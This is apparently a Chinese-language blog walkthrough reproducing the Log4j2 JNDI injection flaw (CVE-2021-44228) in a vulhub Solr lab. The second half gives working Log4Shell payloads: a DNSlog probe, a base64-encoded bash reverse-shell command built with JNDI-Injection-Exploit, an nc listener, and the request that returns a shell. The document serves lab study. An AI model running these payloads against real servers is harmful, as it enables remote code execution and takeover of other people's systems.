banner
Hi my new friend!

vulhub中log4j2漏洞复现(CVE-2021-44228)

Scroll down

漏洞原理

Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

CVE编号:CVE-2021-44228

搭建vulhub靶场

更新软件源中的所有软件列表

apt-get update

安装https协议及CA证书

apt-get install -y apt-transport-https ca-certificates

安装Docker

apt install docker.io

安装pip3

apt-get install python3-pip

安装Docker-Compose

pip3 install docker-compose

安装vulhub靶场
克隆下载

git clone https://gitee.com/puier/vulhub.git

进入靶场环境目录

cd /root/vulhub/log4j/CVE-2021-44228

对靶场进行编译

docker-compose build

运行此靶场

docker-compose up -d

查看启动环境

docker-compose ps -a

关闭此靶场环境

docker-compose down

漏洞复现

访问http://靶场IP:8983

先在http://www.dnslog.cn/ 申请一个dns域名qdy3ot.dnslog.cn

构造请求/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.qdy3ot.dnslog.cn}

存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在dnslog.cn那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号

反弹shell

开始漏洞利用,首先我们构造反弹shell用到的命令:

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

这里我直接用的当前虚拟机的ip,端口号随便输一个,反弹shell需要经过编码,所以我们对上面那段命令base64.

构造payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIxNjguMjAzMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}” -A“192.168.203.129”

在注入之前另起一个终端,监控刚刚的那个端口,这里是6666

nc -lvvp 6666

发送payload,获取靶机的shell

http://192.168.203.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.203.129:1389/9zkyi5}

其他文章